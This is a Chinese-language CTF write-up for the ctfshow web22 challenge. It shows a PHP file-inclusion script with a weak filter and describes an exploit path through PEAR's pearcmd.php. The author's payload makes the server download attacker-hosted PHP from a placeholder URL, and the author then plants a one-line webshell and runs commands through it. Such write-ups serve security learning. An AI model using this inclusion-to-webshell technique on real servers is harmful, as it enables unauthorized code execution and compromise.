前言
上次做题,直接瞄准ctfshow萌新计划开炮,结果没打完,这次来补充一下。
正文
web22
打开题目,发现了源码
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\:|\/|\\\/i",$c)){
include($c.".php");
}
}else{
highlight_file(__FILE__);
}
?>
发现相比较前面几个,过滤的少了,但是变为了include文件包含
,并且把传参c
和.php
拼接在了一起。刚拿到,就想着还是用日志包含
进行后门文件上传
,然后访问日志目录
进入网站目录
。但是可能因为是过滤了,没成功,就想着绕过过滤,然后把后面的.php
文件后缀给注释
掉,但是一直不成功。后来在群里问了大师傅之后,才知道这个题目的身份是www用户,
无法远程访问默认日志文件
。那么到这里就断了,该怎么办呢?问了大师傅之后得到了新的思路,详情还是看这篇文章。
刚看了这篇文章之后,我直呼涨见识,这,,根本没听说过,好吧,是我菜了。
关于命令pearcmd&+download+http://xxx.php
这个,文章里有说明,不进行过多的讲解,这里给一下自己的见解。
pear是一个是可重用的PHP组件框架和系统分发
– 为PHP用户提供开源的结构化代码库
– 便于代码的分发和包的维护
– 标准化PHP的编写代码
– 提供PHP的扩展社区库(PECL)
– 通过网站、邮件列表和下载镜像支持PHP/PEAR社区
在pear中有一个pearcmd.php的类,这里传参c值为pearcmd拼接后面的.php后缀,然后进行下一步的操作。下载文件从指定服务器
然后根据大师傅的博客,进行尝试。首先构造payload为:?c=pearcmd&+download+http://xxxxx/1emon/index.php
。
而对于,index.php
内容是
然后用构造的payload尝试,发现
然后访问文件得到当前的用户信息
那么既然成功了,接下来就用一句话进行了,直接修改文件内容为一句话木马,然后同样的方法,访问之后,在post传参,结果如下:
得到flag。